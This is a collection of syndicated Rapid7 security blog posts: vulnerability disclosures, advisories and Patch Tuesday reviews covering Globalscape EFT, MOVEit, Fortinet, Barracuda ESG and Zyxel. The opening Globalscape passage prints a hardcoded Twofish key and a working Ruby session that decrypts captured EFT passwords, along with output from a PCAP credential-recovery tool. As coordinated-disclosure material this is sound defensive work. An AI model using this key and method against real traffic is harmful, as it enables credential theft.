Passwords are encrypted using the Twofish algorithm with a static key (tfgry\0\0\0\0\0\0\0\0\0\0\0) and blank IV. That means that passwords can be fully decrypted off the wire (although casual observers might believe that the encryption has some value). Here’s a demonstration of decrypting that password using the interactive Ruby shell (irb) and the twofish gem:

$ gem install twofish
[...]
$ irb

3.0.2 :001 > require 'twofish'
 => true

3.0.2 :002 > tf = Twofish.new("tfgry\0\0\0\0\0\0\0\0\0\0\0", :padding => :zero_byte, :mode => :cbc)
 => #<Twofish:0x0000000002b23340 [...]>

3.0.2 :003 > tf.iv = "\0" * 16
 => "\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000" 

3.0.2 :004 > puts (tf.decrypt("\x86\x40\x71\xde\xd2\xea\x9e\x12\xd5\xae\x18\x40\x64\xc4\x04\xed\xc1\x08\x78\xb3\x9e\xc6\x4a\x57\xc6\x1d\xb6\x8d\x49\x24\x0b\x8b") + "\0").force_encoding("UTF-16LE").encode("ASCII-8BIT")
Password1!

We use force_encoding() and encode to convert from UTF-16 to ASCII.

To demonstrate the impact, we wrote a tool that’ll decrypt passwords from a PCAP file:

$ ruby recover-pw.rb all-login-types.pcapng
Found login: ron / MyWindowsPassword (type = "Windows authentication")
Found login: ron / Password1! (type = "Windows authentication")
Found login: ron / testtest (type = "EFT Authentication")
Found login: ron / Password1! (type = "EFT Authentication")
Found login: WIN-PV9OH13IIUB\Administrator / ******** (type = "Currently logged on user")
 NTLMSSP blob: ["400000004e544c4d535350000100000007b208a209000900370000000f000f00280000000a007c4f0000000f57494e2d5056394f48313349495542574f524b47524f5550"]
Found login: WIN-PV9OH13IIUB\Administrator / ******** (type = "Currently logged on user")
 NTLMSSP blob: ["580000004e544c4d535350000300000000000000580000000000000058000000000000005800000000000000580000000000000058000000000000005800000005c288a20a007c4f0000000fc336e05c920cada6821fe04d5709b868"]

Note that NTLM logins use the literal password ********, but also include an additional NTLMSSP blob containing the actual authentication details.

Remediation

These issues are fixed in Fortra Globalscape version 8.1.0.16. We don’t believe these require emergency patches, but since the ultimate consequence is remote code execution, they should be patched in the next planned patch cycle.

Timeline

  • April 2023 – Rapid7 begins researching Globalscape EFT
  • May 10, 2023: Rapid7 reports issues to vendor
  • May 10, 2023: Vendor acknowledgement
  • May 24, 2023: Vendor confirmed the issues
  • May 26, 2023: Rapid7 reserves CVEs
  • May 26 – June 1, 2023: Vendor and Rapid7 clarify additional details
  • June 13, 2023: Rapid7 asks for an update from vendor on patch ETA, proposes July 11 as coordinated disclosure date. Because of a minor misunderstanding, Rapid7 discovers vendor has already released fixes and KBs. Vendor volunteers to pull KBs offline while Rapid7 prepares our own disclosure. Initially, Rapid7 agrees to this.
  • June 14, 2023: Rapid7 asks vendor to republish their KBs in the interest of transparency and effective risk assessment while Rapid7 prepares this disclosure
  • June 20, 2023 – Vendor informs Rapid7 their KBs have been re-published
  • June 22, 2023 – Rapid7 releases this disclosure blog

CVE-2023-34362: MOVEit Vulnerability Timeline of Events

Post Syndicated from Rapid7 original https://blog.rapid7.com/2023/06/14/etr-cve-2023-34362-moveit-vulnerability-timeline-of-events/

CVE-2023-34362: MOVEit Vulnerability Timeline of Events

The following article was written by Drew Burton and Cynthia Wyre.

Rapid7 continues to track the impact of CVE-2023-34362, a critical zero-day vulnerability in Progress Software’s MOVEit Transfer solution. CVE-2023-34362 allows for SQL injection, which can result in unauthorized access to sensitive data, such as passwords, credit card details, or personal user information.

Rapid7 is not currently seeing evidence that commodity or low-skill attackers are exploiting the vulnerability. However, the exploitation of available high-value targets globally across a wide range of org sizes, verticals, and geo-locations indicates that this is a widespread threat. We expect to see a longer list of victims come out as time goes on.

We’ve put together a timeline of events to date for your reference.

MOVEit Timeline

May 27-28: Rapid7 services teams have so far confirmed indicators of compromise and data exfiltration dating back to at least May 27 and May 28, 2023 (respectively).

May 31: Progress Software publishes an advisory on a critical SQL injection vulnerability in their MOVEit Transfer solution.

May 31: Rapid7 begins investigating exploitation of MOVEit Transfer.

June 1: Rapid7 publishes initial analysis of MOVEit Transfer attacks after responding to incidents across multiple customer environments.

June 1: The security community publishes technical details and indicators of compromise.

June 1: Compromises continue; Rapid7 responds to alerts.

June 1: CISA publishes Security Advisory.

June 2: CVE-2023-34362 is assigned to the zero-day vulnerability.

June 2: Mandiant attributes the attack to a threat cluster with unknown motives.

June 2: Velociraptor releases an artifact to detect exploitation of MOVEit File Transfer critical vulnerability.

June 4: Rapid7 publishes a method to identify which data was stolen.

June 4: Nova Scotian government discloses it is investigating privacy breach.

June 5: Microsoft attributes the attack to Lace Tempest, a Cl0p ransomware affiliate that has previously exploited vulnerabilities in other file transfer solutions (e.g., Accellion FTA, Fortra GoAnywhere MFT).

June 5: UK companies BA, BBC, and Boots disclose breaches as victims in MOVEit File Transfer.

June 5: Cl0p ransomware group claims responsibility for the zero-day attack.

June 6: Security firm Huntress releases a video allegedly reproducing the exploit chain.

June 6: The Cl0p ransomware group posts a communication on their leak site demanding that victim organizations contact them by June 14 to negotiate extortion fees in exchange for the deletion of stolen data.

June 7: CISA publishes #StopRansomware Cybersecurity Advisory regarding MOVEit File Transfer Vulnerability CVE-2023-34362.

June 9: Progress Software updates advisory to include a patch for a second MOVEit Transfer Vulnerability, which was uncovered by Huntress during a third-party code review. The vulnerability is later assigned CVE-2023-35036.

June 12: Rapid7 releases a full exploit chain for MOVEit Transfer Vulnerability CVE-2023-34362.

Mitigation

All MOVEit Transfer versions before May 31, 2023 are vulnerable to CVE-2023-34362, and all MOVEit Transfer versions before June 9, 2023 are vulnerable to CVE-2023-35036. As noted above, fixed versions of the software are available, and patches should be applied on an emergency basis.

Patches are available via Progress Software’s CVE-2023-34362 advisory. Additionally, because CVE-2023-34362 is a zero-day vulnerability, Progress Software is advising MOVEit Transfer and MOVEit Cloud customers to check for indicators of unauthorized access over “at least the past 30 days.”

According to the company’s status page, Progress also took the following steps aimed at increasing security monitoring and defending against further exploitation or attack:

  • Developed specific monitoring signatures on Progress’ endpoint protection system.
  • Validated that the newly developed patch corrected the vulnerability.
  • Tested detection rules before finalizing to ensure that notifications are working properly.
  • Engaged outside cybersecurity experts and other incident response professionals to conduct a forensic investigation and assess the extent and scope of the incident.

As noted in the timeline above, Rapid7 has added capabilities across our portfolio that can help users identify and resolve risk from CVE-2023-34362. We have also identified a method to identify exfiltrated data from compromised MOVEit customer environments.

To learn more, check out: Rapid7 Observed Exploitation of Critical MOVEit Transfer Vulnerability

Patch Tuesday – June 2023

Post Syndicated from Adam Barnett original https://blog.rapid7.com/2023/06/13/patch-tuesday-june-2023/

Patch Tuesday - June 2023

It’s June, and it’s Patch Tuesday. The volume of fixes this month is typical compared with recent history: 94 in total (including Edge-on-Chromium). For the first time in a while, Microsoft isn’t offering patches for any zero-day vulnerabilities, but we do get fixes for four critical Remote Code Execution (RCE) vulnerabilities: one in .NET/Visual Studio, and three in Windows Pragmatic General Multicast (PGM). Also patched: a critical SharePoint Elevation of Privilege vulnerability.

SharePoint: Critical EoP via JWT spoofing

SharePoint administrators should start by looking at critical Elevation of Privilege vulnerability CVE-2023-29357, which provides attackers with a chance at Administrator privileges on the SharePoint host, provided they come prepared with spoofed JWT tokens. Microsoft isn’t aware of public disclosure or in-the-wild exploitation, but considers exploitation more likely.

The FAQ provided with Microsoft’s advisory suggests that both SharePoint Enterprise Server 2016 and SharePoint Server 2019 are vulnerable. So far so good for SharePoint 2019, but there is a lack of clarity around a patch for SharePoint 2016.

Initially, neither the advisory nor the SharePoint 2016 Release history listed a relevant patch for SharePoint 2016. Microsoft has since updated both the SharePoint 2016 release history to include a link to the June security update for SharePoint Enterprise Server 2016; however, the link incorrectly points to the May advisory, and should instead point to the June 2023 security update for SharePoint 2016 KB5002404.

Complicating matters further, KB5002404 does not mention CVE-2023-29357, and the advisory for CVE-2023-29357 still does not mention any patch for SharePoint 2016. Defenders responsible for SharePoint 2016 will no doubt wish to follow developments here closely; on present evidence, the only safe assumption is that there is no patch yet which addresses CVE-2023-29357 for SharePoint 2016.

Microsoft also mentions that there may be more than one patch listed for a particular version of SharePoint, and that every patch for a particular version of SharePoint must be installed to remediate this vulnerability (although order of patching doesn’t matter).

Windows PGM: Critical RCE

This is the third month in a row where Patch Tuesday features at least one critical RCE in Windows PGM, and June adds three to the pile. Microsoft hasn’t detected exploitation or disclosure for any of these, and considers exploitation less likely, but a trio of critical RCEs with CVSS 3.1 base score of 9.8 will deservedly attract a degree of attention.

All three PGM critical RCEs – CVE-2023-29363, CVE-2023-32014, and CVE-2023-32015 – require an attacker to send a specially-crafted file over the network in the hope of executing malicious code on the target asset. Defenders who successfully navigated last month’s batch of PGM vulnerabilities will find both risk profile and mitigation/remediation guidance very similar; indeed, CVE-2023-29363 was reported to Microsoft by the same researcher as last month’s CVE-2023-28250.

As with previous similar vulnerabilities, Windows Message Queueing Service (MSMQ) must be enabled for an asset to be exploitable, and MSMQ isn’t enabled by default. As Rapid7 has noted previously, however, a number of applications – including Microsoft Exchange – quietly introduce MSMQ as part of their own installation routine. With several prolific researchers active in this area, we should expect further PGM vulnerabilities in the future.

.NET & Visual Studio: Critical RCE

Rounding out this month’s critical RCE list is CVE-2023-24897: a flaw in .NET, .NET Framework and Visual Studio. Exploitation requires an attacker to convince the victim to open a specially-crafted malicious file, typically from a website.

Although Microsoft has no knowledge of public disclosure or exploitation in the wild, and considers exploitation less likely, the long list of patches – going back as far as .NET Framework 3.5 on Windows 10 1607 – means that this vulnerability has been present for years. Somewhat unusually for this class of vulnerability, Microsoft doesn’t give any indication of filetype. However, the Arbitrary Code Execution (ACE) boilerplate qualifier is present: “remote” refers here to the location of the attacker, rather than the attack, since local user interaction is required.

Exchange: Important RCEs; Exploitation More Likely

After a brief reprieve last month, Exchange admins will want to patch a pair of RCE vulnerabilities this month. While neither CVE-2023-28310 nor CVE-2023-32031 quite manages to rank as critical vulnerabilities, either via CVSSv3 base score, or via Microsoft’s proprietary severity scale, they’re not far off. Only the requirement that the attacker has previously achieved an authenticated role on the Exchange server prevents these vulnerabilities from scoring higher – but that’s just the sort of issue that exploit chains are designed to overcome.

Microsoft expects to see exploitation for both of these vulnerabilities. Successful exploitation will make use of PowerShell remoting sessions to achieve remote code execution.

Azure DevOps: spoofing, information disclosure

A vulnerability in Azure DevOps server could lead to an attacker accessing detailed data such as organization/project configuration, groups, teams, projects, pipelines, boards, and wiki. CVE-2023-21565 requires an attacker to have existing valid credentials for the service, but no elevated privilege is required. The advisory lists  patches for 2020.1.2, 2022 and 2022.0.1.

Summary Charts

Patch Tuesday - June 2023
Visual Studio making quite a splash this month.
Patch Tuesday - June 2023
Even if some of the RCE are ACE, that’s still a lot of RCE.
Patch Tuesday - June 2023
A cluster of vulnerabilities around 8.0 is unsurprising.
Patch Tuesday - June 2023
Patch Visual Studio. Also, all the things!

Summary Tables

Browser vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2023-33143 Microsoft Edge (Chromium-based) Elevation of Privilege Vulnerability No No 7.5
CVE-2023-33145 Microsoft Edge (Chromium-based) Information Disclosure Vulnerability No No 6.5
CVE-2023-29345 Microsoft Edge (Chromium-based) Security Feature Bypass Vulnerability No No 6.1
CVE-2023-3079 Chromium: CVE-2023-3079 Type Confusion in V8 No No N/A
CVE-2023-2941 Chromium: CVE-2023-2941 Inappropriate implementation in Extensions API No No N/A
CVE-2023-2940 Chromium: CVE-2023-2940 Inappropriate implementation in Downloads No No N/A
CVE-2023-2939 Chromium: CVE-2023-2939 Insufficient data validation in Installer No No N/A
CVE-2023-2938 Chromium: CVE-2023-2938 Inappropriate implementation in Picture In Picture No No N/A
CVE-2023-2937 Chromium: CVE-2023-2937 Inappropriate implementation in Picture In Picture No No N/A
CVE-2023-2936 Chromium: CVE-2023-2936 Type Confusion in V8 No No N/A
CVE-2023-2935 Chromium: CVE-2023-2935 Type Confusion in V8 No No N/A
CVE-2023-2934 Chromium: CVE-2023-2934 Out of bounds memory access in Mojo No No N/A
CVE-2023-2933 Chromium: CVE-2023-2933 Use after free in PDF No No N/A
CVE-2023-2932 Chromium: CVE-2023-2932 Use after free in PDF No No N/A
CVE-2023-2931 Chromium: CVE-2023-2931 Use after free in PDF No No N/A
CVE-2023-2930 Chromium: CVE-2023-2930 Use after free in Extensions No No N/A
CVE-2023-2929 Chromium: CVE-2023-2929 Out of bounds write in Swiftshader No No N/A

Developer Tools vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2023-24936 .NET, .NET Framework, and Visual Studio Elevation of Privilege Vulnerability No No 8.1
CVE-2023-24897 .NET, .NET Framework, and Visual Studio Remote Code Execution Vulnerability No No 7.8
CVE-2023-24895 .NET, .NET Framework, and Visual Studio Remote Code Execution Vulnerability No No 7.8
CVE-2023-29326 .NET Framework Remote Code Execution Vulnerability No No 7.8
CVE-2023-33141 Yet Another Reverse Proxy (YARP) Denial of Service Vulnerability No No 7.5
CVE-2023-29331 .NET, .NET Framework, and Visual Studio Denial of Service Vulnerability No No 7.5
CVE-2023-32030 .NET and Visual Studio Denial of Service Vulnerability No No 7.5
CVE-2023-33126 .NET and Visual Studio Remote Code Execution Vulnerability No No 7.3
CVE-2023-33128 .NET and Visual Studio Remote Code Execution Vulnerability No No 7.3
CVE-2023-33135 .NET and Visual Studio Elevation of Privilege Vulnerability No No 7.3
CVE-2023-29337 NuGet Client Remote Code Execution Vulnerability No No 7.1
CVE-2023-32032 .NET and Visual Studio Elevation of Privilege Vulnerability No No 6.5
CVE-2023-33139 Visual Studio Information Disclosure Vulnerability No No 5.5
CVE-2023-29353 Sysinternals Process Monitor for Windows Denial of Service Vulnerability No No 5.5
CVE-2023-33144 Visual Studio Code Spoofing Vulnerability No No 5
CVE-2023-29012 GitHub: CVE-2023-29012 Git CMD erroneously executes doskey.exe in current directory, if it exists No No N/A
CVE-2023-29011 GitHub: CVE-2023-29011 The config file of connect.exe is susceptible to malicious placing No No N/A
CVE-2023-29007 GitHub: CVE-2023-29007 Arbitrary configuration injection via git submodule deinit No No N/A
CVE-2023-25815 GitHub: CVE-2023-25815 Git looks for localized messages in an unprivileged place No No N/A
CVE-2023-25652 GitHub: CVE-2023-25652 "git apply –reject" partially-controlled arbitrary file write No No N/A
CVE-2023-27911 AutoDesk: CVE-2023-27911 Heap buffer overflow vulnerability in Autodesk® FBX® SDK 2020 or prior No No N/A
CVE-2023-27910 AutoDesk: CVE-2023-27910 stack buffer overflow vulnerability in Autodesk® FBX® SDK 2020 or prior No No N/A
CVE-2023-27909 AutoDesk: CVE-2023-27909 Out-Of-Bounds Write Vulnerability in Autodesk® FBX® SDK 2020 or prior No No N/A

Developer Tools Azure vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2023-21565 Azure DevOps Server Spoofing Vulnerability No No 7.1
CVE-2023-21569 Azure DevOps Server Spoofing Vulnerability No No 5.5

ESU Windows vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2023-29363 Windows Pragmatic General Multicast (PGM) Remote Code Execution Vulnerability No No 9.8
CVE-2023-32014 Windows Pragmatic General Multicast (PGM) Remote Code Execution Vulnerability No No 9.8
CVE-2023-32015 Windows Pragmatic General Multicast (PGM) Remote Code Execution Vulnerability No No 9.8
CVE-2023-29362 Remote Desktop Client Remote Code Execution Vulnerability No No 8.8
CVE-2023-29372 Microsoft WDAC OLE DB provider for SQL Server Remote Code Execution Vulnerability No No 8.8
CVE-2023-29373 Microsoft ODBC Driver Remote Code Execution Vulnerability No No 8.8
CVE-2023-29351 Windows Group Policy Elevation of Privilege Vulnerability No No 8.1
CVE-2023-29365 Windows Media Remote Code Execution Vulnerability No No 7.8
CVE-2023-29358 Windows GDI Elevation of Privilege Vulnerability No No 7.8
CVE-2023-29371 Windows GDI Elevation of Privilege Vulnerability No No 7.8
CVE-2023-29346 NTFS Elevation of Privilege Vulnerability No No 7.8
CVE-2023-32017 Microsoft PostScript Printer Driver Remote Code Execution Vulnerability No No 7.8
CVE-2023-29359 GDI Elevation of Privilege Vulnerability No No 7.8
CVE-2023-32011 Windows iSCSI Discovery Service Denial of Service Vulnerability No No 7.5
CVE-2023-29368 Windows Filtering Platform Elevation of Privilege Vulnerability No No 7
CVE-2023-29364 Windows Authentication Elevation of Privilege Vulnerability No No 7
CVE-2023-32016 Windows Installer Information Disclosure Vulnerability No No 5.5
CVE-2023-32020 Windows DNS Spoofing Vulnerability No No 3.7

Exchange Server vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2023-32031 Microsoft Exchange Server Remote Code Execution Vulnerability No No 8.8
CVE-2023-28310 Microsoft Exchange Server Remote Code Execution Vulnerability No No 8

Microsoft Dynamics vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2023-24896 Dynamics 365 Finance Spoofing Vulnerability No No 5.4
CVE-2023-32024 Microsoft Power Apps Spoofing Vulnerability No No 3

Microsoft Office vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2023-29357 Microsoft SharePoint Server Elevation of Privilege Vulnerability No No 9.8
CVE-2023-33131 Microsoft Outlook Remote Code Execution Vulnerability No No 8.8
CVE-2023-33146 Microsoft Office Remote Code Execution Vulnerability No No 7.8
CVE-2023-32029 Microsoft Excel Remote Code Execution Vulnerability No No 7.8
CVE-2023-33137 Microsoft Excel Remote Code Execution Vulnerability No No 7.8
CVE-2023-33133 Microsoft Excel Remote Code Execution Vulnerability No No 7.8
CVE-2023-33130 Microsoft SharePoint Server Spoofing Vulnerability No No 7.3
CVE-2023-33142 Microsoft SharePoint Server Elevation of Privilege Vulnerability No No 6.5
CVE-2023-33129 Microsoft SharePoint Denial of Service Vulnerability No No 6.5
CVE-2023-33140 Microsoft OneNote Spoofing Vulnerability No No 6.5
CVE-2023-33132 Microsoft SharePoint Server Spoofing Vulnerability No No 6.3

Windows vulnerabilities

CVE Title Exploited? Publicly disclosed? CVSSv3 base score
CVE-2023-32009 Windows Collaborative Translation Framework Elevation of Privilege Vulnerability No No 8.8
CVE-2023-29367 iSCSI Target WMI Provider Remote Code Execution Vulnerability No No 7.8
CVE-2023-29360 Windows TPM Device Driver Elevation of Privilege Vulnerability No No 7.8
CVE-2023-32008 Windows Resilient File System (ReFS) Remote Code Execution Vulnerability No No 7.8
CVE-2023-29370 Windows Media Remote Code Execution Vulnerability No No 7.8
CVE-2023-32018 Windows Hello Remote Code Execution Vulnerability No No 7.8
CVE-2023-29366 Windows Geolocation Service Remote Code Execution Vulnerability No No 7.8
CVE-2023-32022 Windows Server Service Security Feature Bypass Vulnerability No No 7.6
CVE-2023-32021 Windows SMB Witness Service Security Feature Bypass Vulnerability No No 7.1
CVE-2023-29361 Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability No No 7
CVE-2023-32010 Windows Bus Filter Driver Elevation of Privilege Vulnerability No No 7
CVE-2023-29352 Windows Remote Desktop Security Feature Bypass Vulnerability No No 6.5
CVE-2023-32013 Windows Hyper-V Denial of Service Vulnerability No No 6.5
CVE-2023-24937 Windows CryptoAPI Denial of Service Vulnerability No No 6.5
CVE-2023-24938 Windows CryptoAPI Denial of Service Vulnerability No No 6.5
CVE-2023-29369 Remote Procedure Call Runtime Denial of Service Vulnerability No No 6.5
CVE-2023-32012 Windows Container Manager Service Elevation of Privilege Vulnerability No No 6.3
CVE-2023-29355 DHCP Server Service Information Disclosure Vulnerability No No 5.3
CVE-2023-32019 Windows Kernel Information Disclosure Vulnerability No No 4.7

CVE-2023-27997: Critical Fortinet Fortigate Remote Code Execution Vulnerability

Post Syndicated from Drew Burton original https://blog.rapid7.com/2023/06/12/etr-cve-2023-27997-critical-fortinet-fortigate-remote-code-execution-vulnerability/

CVE-2023-27997: Critical Fortinet Fortigate Remote Code Execution Vulnerability

On July 9, 2023, Fortinet silently patched a purported critical remote code execution (RCE) vulnerability in Fortigate SSL VPN firewalls. According to Lexfo Security’s Charles Fol, who discovered the vulnerability, the flaw is heap-based and reachable pre-authentication on every SSL VPN appliance. Fortinet is expected to publish their advisory for CVE-2023-27997 tomorrow, June 13, 2023. The company has a history of issuing security patches prior to disclosing critical vulnerabilities. Presumably, this policy is meant to give customers time to update their devices before threat actors exploit flaws, but in practice, it gives attackers a head start on attack development while keeping vulnerable organizations in the dark.

Rapid7 is not aware of any exploitation of this vulnerability at time of writing. We do expect CVE-2023-27997 will be leveraged by attackers, but heap-based exploits are notoriously tricky, and it’s unlikely that we’ll see automated exploitation at scale. Nevertheless, we recommend that Fortigate customers update immediately as a matter of habit, despite the fact that Fortinet’s advisory is not yet available. According to reports, security fixes were released on Friday in FortiOS firmware versions 6.0.17, 6.2.15, 6.4.13, 7.0.12, and 7.2.5.

As of June 12, there were roughly 210,700 Fortigate devices with the SSL VPN component exposed to the public internet, the majority of which are in the United States, followed by Japan and Taiwan.

Fortinet device vulnerabilities are historically popular with attackers of all skill levels, though exploitability varies on a vuln-by-vuln basis. The U.S. government recently released a security bulletin that highlighted state-sponsored threat actors gaining access to networks via Fortigate devices. Fortinet vulnerabilities are also popular with initial access broker groups that sell access to potential victims’ networks to ransomware groups.

Affected Products

To date these are the reported affected versions of the Fortigate devices configured as SSL VPNs :

  • 7.0.12
  • 7.2.5
  • 6.4.13
  • 6.2.15

Remediation

Update FortiOS firmware to version 6.0.17, 6.2.15, 6.4.13, 7.0.12, or 7.2.5 as soon as possible.

Rapid7 customers

An authenticated check for CVE-2023-27997 is in development and expected to be available to InsightVM and Nexpose customers in today’s (June 12, 2023) content release.

CVE-2023-2868: Total Compromise of Physical Barracuda ESG Appliances

Post Syndicated from Caitlin Condon original https://blog.rapid7.com/2023/06/08/etr-cve-2023-2868-total-compromise-of-physical-barracuda-esg-appliances/

CVE-2023-2868: Total Compromise of Physical Barracuda ESG Appliances

Rapid7 incident response teams are investigating exploitation of physical Barracuda Networks Email Security Gateway (ESG) appliances dating back to at least November 2022. As of June 6, 2023, as part of an ongoing product incident response, Barracuda is urging ESG customers to immediately decommission and replace ALL ESG physical appliances irrespective of patch level.

Background

On May 18 and 19, 2023, Barracuda discovered anomalous traffic originating from their Email Security Gateway (ESG) appliances. Barracuda ESG is a solution for filtering inbound and outbound email and protecting customer data. ESG can be deployed as a physical or virtual appliance, or in a public cloud environment on AWS or Microsoft Azure.

On May 30, Barracuda disclosed CVE-2023-2868, a remote command injection vulnerability that the firm said had been exploited in the wild by threat actors since at least October 2022 across a subset of devices running versions 5.1.3.001-9.2.0.006. According to the security bulletin, the vulnerability exists in a module that performs initial screens on attachments of incoming emails. Barracuda has indicated that, as of June 6, no other products, including SaaS email security services, are known to be affected.

The company indicated they had pushed patches to their global ESG customer base on May 20, 2023. On May 21, Barracuda deployed an additional script to “contain the incident and counter unauthorized access methods.” However, on June 6, the company updated their advisory to warn customers that physical devices should be completely replaced, irrespective of firmware version or patch level.

The pivot from patch to total replacement of affected devices is fairly stunning and implies the malware the threat actors deployed somehow achieves persistence at a low enough level that even wiping the device wouldn’t eradicate attacker access.

Barracuda has a full description of the incident so far in their advisory, including extensive indicators of compromise, additional vulnerability details, and information on the backdoored module for Barracuda’s SMTP daemon (the trojanized module has been dubbed SALTWATER).

Baselining on a known ESG appliance, which runs the "Barracuda Networks Spam Firewall" SMTP daemon, there appear to be roughly 11,000 appliances on the internet (Barracuda Networks Spam Firewall smtpd). Notably, if other Barracuda appliances also run this service, that number may be inflated.

Observed attacker behavior

Rapid7 services teams have so far identified malicious activity that took place as far back as November 2022, with the most recent communication with threat actor infrastructure observed in May 2023. In at least one case, outbound network traffic indicated potential data exfiltration. We have not yet observed any lateral movement from a compromised appliance.

Note: Although sharing malware indicators like hashes and YARA hunting rules can be very useful, in this case they may not be as relevant unless teams have direct access to the operating system of the appliance or VMDK image. Network indicators like the IP addresses shared by Barracuda and also observed by Rapid services teams are a good start for reviewing network logs (e.g., firewall or IPS logs).

Mitigation guidance

Customers who use the physical Barracuda ESG appliance should take the device offline immediately and replace it. Barracuda’s advisory has instructions for contacting support. Users are also being advised to rotate any credentials connected to the ESG appliance, including:

  • Any connected LDAP/AD
  • Barracuda Cloud Control
  • FTP Server
  • SMB
  • Any private TLS certificates

ESG appliance users should check for signs of compromise dating back to at least October 2022 using the network and endpoint indicators Barracuda has released publicly (where possible): https://www.barracuda.com/company/legal/esg-vulnerability

Rapid7 Observed Exploitation of Critical MOVEit Transfer Vulnerability

Post Syndicated from Caitlin Condon original https://blog.rapid7.com/2023/06/01/rapid7-observed-exploitation-of-critical-moveit-transfer-vulnerability/

Rapid7 Observed Exploitation of Critical MOVEit Transfer Vulnerability

Rapid7 managed services teams are observing exploitation of a critical vulnerability in Progress Software’s MOVEit Transfer solution across multiple customer environments. We have observed an uptick in related cases since the vulnerability was disclosed publicly yesterday (May 31, 2023); file transfer solutions have been popular targets for attackers, including ransomware groups, in recent years. We strongly recommend that MOVEit Transfer customers prioritize mitigation on an emergency basis.

Progress Software published an advisory on Wednesday, May 31, 2023 warning of a critical SQL injection vulnerability in their MOVEit Transfer solution. The vulnerability, which currently does not have a CVE, is a SQL injection flaw that allows for “escalated privileges and potential unauthorized access” on target systems. While the advisory does not explicitly confirm the vulnerability was exploited by threat actors as a zero-day, Progress Software is advising MOVEit customers to check for indicators of unauthorized access over “at least the past 30 days,” which implies that attacker activity was detected before the vulnerability was disclosed.

As of May 31, there were roughly 2,500 instances of MOVEit Transfer exposed to the public internet, the majority of which look to be in the United States. Rapid7 has previously analyzed similar SQLi-to-RCE flaws in network edge systems; these types of vulnerabilities can provide threat actors with initial access to corporate networks.

Observed attacker behavior

Our teams have so far observed the same webshell name in multiple customer environments, which may indicate automated exploitation. Rapid7 analyzed a sample webshell payload associated with successful exploitation. The webshell code would first determine if the inbound request contained a header named X-siLock-Comment, and would return a 404 "Not Found" error if the header was not populated with a specific password-like value. As of June 1, 2023, all instances of Rapid7-observed MOVEit Transfer exploitation involve the presence of the file human2.aspx in the wwwroot folder of the MOVEit install directory.

We will update this section as our investigations progress.

Mitigation guidance

The MOVEit Transfer advisory has contradictory wording on patch availability, but as of June 1, it does appear that fixed versions of the software are available. Patches should be applied on an emergency basis. Per the MOVEit advisory published on May 31, 2023, organizations should look for indicators of compromise dating back at least a month.

Fixed Version Documentation
MOVEit Transfer 2023.0.1 MOVEit 2023 Upgrade Documentation
MOVEit Transfer 2022.1.5 MOVEit 2022 Upgrade Documentation
MOVEit Transfer 2022.0.4 MOVEit 2022 Upgrade Documentation
MOVEit Transfer 2021.1.4 MOVEit 2021 Upgrade Documentation

The advisory also advises customers to modify firewall rules to deny HTTP and HTTPs traffic to MOVEit Transfer on ports 80 and 443.

Rapid7 customers

For InsightVM and Nexpose customers, an authenticated vulnerability check is expected to ship in the June 1, 2023 content release.

Widespread Exploitation of Zyxel Network Devices

Post Syndicated from Drew Burton original https://blog.rapid7.com/2023/05/31/etr-widespread-exploitation-of-zyxel-network-devices/

Widespread Exploitation of Zyxel Network Devices

Rapid7 is tracking reports of ongoing exploitation of CVE-2023-28771, a critical unauthenticated command injection vulnerability affecting multiple Zyxel networking devices.

The vulnerability is present in the default configuration of vulnerable devices and is exploitable in the Wide Area Network (WAN) interface, which is intended to be exposed to the internet. A VPN does not need to be configured on a device for it to be vulnerable. Successful exploitation of CVE-2023-28771 allows an unauthenticated attacker to execute code remotely on the target system by sending a specially crafted IKEv2 packet to UDP port 500 on the device.

Zyxel released an advisory for CVE-2023-28771 on April 25, 2023. On May 19, Rapid7 researchers published a technical analysis of the vulnerability on AttackerKB, underscoring the likelihood of exploitation.

As of May 19, there were at least 42,000 instances of Zyxel devices on the public internet. However, as Rapid7 researchers noted, this number only includes devices that expose their web interfaces on the WAN, which is not a default setting. Since the vulnerability is in the VPN service, which is enabled by default on the WAN, we expect the actual number of exposed and vulnerable devices to be much higher.

As of May 26, the vulnerability is being widely exploited, and compromised Zyxel devices are being leveraged to conduct downstream attacks as part of a Mirai-based botnet. Mirai botnets are frequently used to conduct DDoS attacks.

While CVE-2023-28771 is currently garnering large-scale threat actor attention, Zyxel published an advisory for two additional vulnerabilities — CVE-2023-33009 and CVE-2023-33010 — on May 24, 2023. CVE-2023-33009 and CVE-2023-33010 are buffer overflow vulnerabilities that can allow unauthenticated attackers to cause a DoS condition or execute arbitrary code on affected devices.

We strongly recommend that users of the affected Zyxel products update to the latest firmware on an emergency basis. At time of writing, the latest firmware version is 5.36 Patch 2, or 4.73 Patch 2 for ZyWALL/USG. See Zyxel’s advisory for additional details.

Rapid7 Customers

For InsightVM and Nexpose customers, a remote vulnerability check for CVE-2023-28771 has been available since the May 19, 2023 content release.

Additional remote vulnerability checks for CVE-2023-33009 and CVE-2023-33010 are expected to ship in the May 31, 2023 content release.

Patch Tuesday – May 2023

Post Syndicated from Adam Barnett original https://blog.rapid7.com/2023/05/09/patch-tuesday-may-2023/

Patch Tuesday - May 2023

A less crowded Patch Tuesday for May 2023: Microsoft is offering fixes for just 49 vulnerabilities this month. There are no fixes this month for printer drivers, DNS, or .NET, three components which have featured heavily in recent months. Three zero-day vulnerabilities are patched, alongside a further five critical Remote Code Execution (RCE) vulnerabilities. None of the three zero-day vulnerabilities have a particularly high CVSSv3 base score, but timely patching is always indicated.

Zero-day vulnerability: BlackLotus malware Secure Boot bypass

First up: a zero-day Secure Boot Security Feature Bypass vulnerability which is actively exploited by the BlackLotus bootkit malware. Microsoft warns that an attacker who already has Administrator access to an unpatched asset could exploit CVE-2023-24932 without necessarily having physical access. The relatively low CVSSv3 base score of 6.7 isn’t necessarily a reliable metric in this case.

